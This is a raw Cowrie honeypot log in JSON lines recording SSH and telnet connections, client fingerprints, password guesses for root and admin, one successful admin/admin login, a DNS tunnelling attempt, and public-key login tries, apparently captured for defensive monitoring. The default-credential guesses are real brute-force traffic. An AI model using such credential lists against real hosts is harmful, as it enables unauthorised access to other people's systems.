{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":58376,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd01bfa6c1f","protocol":"ssh","message":"New connection: 193.37.70.224:58376 (10.17.0.5:22) [session: ebd01bfa6c1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.100107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.103686Z","src_ip":"193.37.70.224","session":"ebd01bfa6c1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.192569Z","src_ip":"193.37.70.224","session":"ebd01bfa6c1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty159","message":"login attempt [root/qwerty159] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.335612Z","src_ip":"62.133.62.83","session":"7baeb58b01c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:36.460366Z","src_ip":"193.37.70.224","session":"ebd01bfa6c1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:37.416917Z","src_ip":"62.133.62.83","session":"7baeb58b01c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:37.555429Z","src_ip":"193.37.70.224","session":"ebd01bfa6c1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":34590,"dst_ip":"10.17.0.5","dst_port":23,"session":"af756d73452e","protocol":"telnet","message":"New connection: 94.23.66.112:34590 (10.17.0.5:23) [session: af756d73452e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:12:57.299552Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7728d73ffc9","protocol":"telnet","message":"New connection: 94.23.66.112:60214 (10.17.0.5:23) [session: e7728d73ffc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:18.831686Z"}
{"eventid":"cowrie.session.closed","duration":0.0036101341247558594,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:18.835146Z","src_ip":"94.23.66.112","session":"e7728d73ffc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":12914,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcd25f39e352","protocol":"ssh","message":"New connection: 194.59.206.2:12914 (10.17.0.5:22) [session: fcd25f39e352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:18.975499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:18.978715Z","src_ip":"194.59.206.2","session":"fcd25f39e352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:19.063146Z","src_ip":"194.59.206.2","session":"fcd25f39e352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:19.152217Z","src_ip":"194.59.206.2","session":"fcd25f39e352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45106,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4a7a36b0f89","protocol":"ssh","message":"New connection: 87.251.64.176:45106 (10.17.0.5:22) [session: e4a7a36b0f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:33.834902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:33.839549Z","src_ip":"87.251.64.176","session":"e4a7a36b0f89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:33.935843Z","src_ip":"87.251.64.176","session":"e4a7a36b0f89","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:34.219398Z","src_ip":"87.251.64.176","session":"e4a7a36b0f89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:34.317136Z","session":"e4a7a36b0f89","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:34.413120Z","src_ip":"87.251.64.176","session":"e4a7a36b0f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:34.512825Z","src_ip":"87.251.64.176","session":"e4a7a36b0f89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.368796586990356,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:41.668252Z","src_ip":"94.23.66.112","session":"af756d73452e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51260,"dst_ip":"159.203.135.109","dst_port":23,"session":"9147d951bb12","protocol":"telnet","message":"New connection: 172.81.62.90:51260 (159.203.135.109:23) [session: 9147d951bb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:13:49.761647Z"}
{"eventid":"cowrie.session.closed","duration":38.83725643157959,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:28.598804Z","src_ip":"172.81.62.90","session":"9147d951bb12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":53614,"dst_ip":"10.17.0.5","dst_port":22,"session":"0685dd3141ef","protocol":"ssh","message":"New connection: 62.210.207.172:53614 (10.17.0.5:22) [session: 0685dd3141ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:55.751065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:55.755763Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:55.852940Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7d:7f:7f:97:9f:40:e2:96:14:5f:79:59:35:82:3f:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+FM1mY9Wq7xJFFT2tfGOn/ZGrK6jjdAahHW4FWjV3Vlw2yTfuLedlNf8e42dEzb0euY5SBv35KpYqm2OkJ3mOcCeBVwMykb1AAWqU1XTI0tzUfgiQCS1kDD24r1QWLoI5ffuG3jCe6pgnfVHsbd1UKkmoLkiyaAS+STKu3+I3kdUgB3l9n7yLwuPJVUnA6Y6iRdwJna+F4jvrfaj22ZKhDb0M24uAeScUomxy7IC6aGpaBxMGdG0P0w7RqOZDhqjePWHy9HnD5RqrdAt/ijIfmxfZJj1h8m+lBCtX0qMbdXbynulK/+WfFybhTfBUwFghEb/KCXwkKRJsb1N3dVab","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7d:7f:7f:97:9f:40:e2:96:14:5f:79:59:35:82:3f:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.249420Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7d:7f:7f:97:9f:40:e2:96:14:5f:79:59:35:82:3f:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+FM1mY9Wq7xJFFT2tfGOn/ZGrK6jjdAahHW4FWjV3Vlw2yTfuLedlNf8e42dEzb0euY5SBv35KpYqm2OkJ3mOcCeBVwMykb1AAWqU1XTI0tzUfgiQCS1kDD24r1QWLoI5ffuG3jCe6pgnfVHsbd1UKkmoLkiyaAS+STKu3+I3kdUgB3l9n7yLwuPJVUnA6Y6iRdwJna+F4jvrfaj22ZKhDb0M24uAeScUomxy7IC6aGpaBxMGdG0P0w7RqOZDhqjePWHy9HnD5RqrdAt/ijIfmxfZJj1h8m+lBCtX0qMbdXbynulK/+WfFybhTfBUwFghEb/KCXwkKRJsb1N3dVab","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.252237Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:21:59:d4:91:81:90:73:4e:4c:4f:8f:52:5d:d6:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSV6+2Y4G/oBTa2X6eX2CHIcFswnu0VE3aPkFulymbbMJ7FnzEmseJW68owXmR+l7otyyewp1BsbL+jJ0ZVxghR3FgNPHzKEFKZ8Tl+7lPQ51YIwzqB10LdjhnYooI1AvVuOqZQc164Sv8DuKaRRRLZbvjwvv31DKeK2jDwFTDiSGhfgN0O5r7MZiJPKG81LjSORRM80HzDOuoxxlaVfq+2a5dLDUN4DNeFNn8KWORlYm0WfDoqC56+RwodSKsVLf3ZesuOK2a27PLVPPNFFXHhT/aodHvKT1ItVyXnGEb1J3GwjWClTqeLVRX7FnrKegQ+hVU1DOaa1vgchFWo/mx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:21:59:d4:91:81:90:73:4e:4c:4f:8f:52:5d:d6:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.335746Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"88:21:59:d4:91:81:90:73:4e:4c:4f:8f:52:5d:d6:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCSV6+2Y4G/oBTa2X6eX2CHIcFswnu0VE3aPkFulymbbMJ7FnzEmseJW68owXmR+l7otyyewp1BsbL+jJ0ZVxghR3FgNPHzKEFKZ8Tl+7lPQ51YIwzqB10LdjhnYooI1AvVuOqZQc164Sv8DuKaRRRLZbvjwvv31DKeK2jDwFTDiSGhfgN0O5r7MZiJPKG81LjSORRM80HzDOuoxxlaVfq+2a5dLDUN4DNeFNn8KWORlYm0WfDoqC56+RwodSKsVLf3ZesuOK2a27PLVPPNFFXHhT/aodHvKT1ItVyXnGEb1J3GwjWClTqeLVRX7FnrKegQ+hVU1DOaa1vgchFWo/mx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.340968Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:5b:1d:f6:cb:fb:0f:c0:7c:38:09:ec:13:4e:cf:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrxLPi5wBRv4CJNV8UExUp1v+St3rgduxgfZ5c8b+QNai3dleFUbG07wErHCAcGlvgGgsGUVAtqvju8WXTRe4yjKoSIIn73Xyl7tvTYP2EtNqtR8A8z/O1bJALhbDhW2cO0M87MV0y3XCqC/j+2PWp+uUzUlryBS/iL2FwO2jkhORoADiIrJUN0OpP4IK+2W4zHfMolLrE16AySulNOYiVTU4C1tQ+hd4yYjVcOmNHHPKRff3hBgiyuO6qxbhsYfj4t3BPPRjA3PdVDJg2LqBt/PALuJWvt/N1v9+2XbTOU11yG3zOX90ATFbSXRpLPWb5lA2NZ50hcxz1UnmyAWW5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:5b:1d:f6:cb:fb:0f:c0:7c:38:09:ec:13:4e:cf:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.424916Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:5b:1d:f6:cb:fb:0f:c0:7c:38:09:ec:13:4e:cf:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrxLPi5wBRv4CJNV8UExUp1v+St3rgduxgfZ5c8b+QNai3dleFUbG07wErHCAcGlvgGgsGUVAtqvju8WXTRe4yjKoSIIn73Xyl7tvTYP2EtNqtR8A8z/O1bJALhbDhW2cO0M87MV0y3XCqC/j+2PWp+uUzUlryBS/iL2FwO2jkhORoADiIrJUN0OpP4IK+2W4zHfMolLrE16AySulNOYiVTU4C1tQ+hd4yYjVcOmNHHPKRff3hBgiyuO6qxbhsYfj4t3BPPRjA3PdVDJg2LqBt/PALuJWvt/N1v9+2XbTOU11yG3zOX90ATFbSXRpLPWb5lA2NZ50hcxz1UnmyAWW5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.427739Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"eb:86:43:5f:fa:96:c5:4f:63:c2:ac:80:3f:c6:1e:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC152Cn0Kz5Dg4fSjN86JFDs4jIZ4DoATsSFirqVTonwno3mpRvGP8BkNGbRn2niY07bKxSbX2gWSfr2zZICig2sGSoxzsS9nhZ6PDk7AmQ+rQRbghwonI7X3bUMbhyuoqPYq/5xi00FI3+IYGNesGMXyjRQGtuL7JXdgPwWI736Z5+uK8/WoTtp1FveuG9HttMablYMzsQE1K67gVRfQ703M29FpCoAB2+DuuM0KstGd8j/OFuyleZCfbcdWz1sbBUbk5sbyEwL0auCMBTpJOXmeENVuUcCfrIWLgQ7mLrhpAplQeHUx9lYQlYvaEj5boz+RtGpdk0GOLc5Wnlstt/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint eb:86:43:5f:fa:96:c5:4f:63:c2:ac:80:3f:c6:1e:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.517510Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"eb:86:43:5f:fa:96:c5:4f:63:c2:ac:80:3f:c6:1e:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC152Cn0Kz5Dg4fSjN86JFDs4jIZ4DoATsSFirqVTonwno3mpRvGP8BkNGbRn2niY07bKxSbX2gWSfr2zZICig2sGSoxzsS9nhZ6PDk7AmQ+rQRbghwonI7X3bUMbhyuoqPYq/5xi00FI3+IYGNesGMXyjRQGtuL7JXdgPwWI736Z5+uK8/WoTtp1FveuG9HttMablYMzsQE1K67gVRfQ703M29FpCoAB2+DuuM0KstGd8j/OFuyleZCfbcdWz1sbBUbk5sbyEwL0auCMBTpJOXmeENVuUcCfrIWLgQ7mLrhpAplQeHUx9lYQlYvaEj5boz+RtGpdk0GOLc5Wnlstt/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.520471Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:dd:b4:42:ca:e3:d6:a3:7f:11:2c:27:12:db:ed:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCo5xWah0lqLRI8CiHFwuJZP/RsukndDuXKp5z5bDFB60iDDUBMp+H1BFZto1hjNkLKpIZSRCOcCX+IFMJ9PqGmxV/rfY6dZnbcIsynoX9ya2GV/7p0dc9td2CJ1+Yec05+iXHnjRDZ7lktE+/pd5rSp8Olu2LGfW/vrhWLyiUPHKskCmI+DpQBx5cNI38b1LoagLzRB8MmOBjRpn5fuGDo2yEB+Ps+73z44YLTVRC0pdXZJ4z4bpU0zeyccBIQMtn7jxA0l2GwhBqqUcQXmUQQryTjNOgJdZCQwxBNzA6NHlTDBJe9C2kxfsmAWV458y4iJAaFSv9gg1xsI2ORlqK3/oeJiUDzBgiHobvnJtEBQ/3fVdM5Mg0ra1ZE9lWbetZymDzssjCuD+XA9xJv4wm4OrOZAclnbTYWtnF8B0B/m1RfPjhaT6AW0Tonk3vvhfkt18oU511tj/9kw9ubzkmf74SA0dCAmffRM/oE5TdTIxF53W/8k8aSL5yVnIcGuxU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:dd:b4:42:ca:e3:d6:a3:7f:11:2c:27:12:db:ed:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:14:56.604986Z","src_ip":"62.210.207.172","session":"0685dd3141ef","protocol":"ssh"}
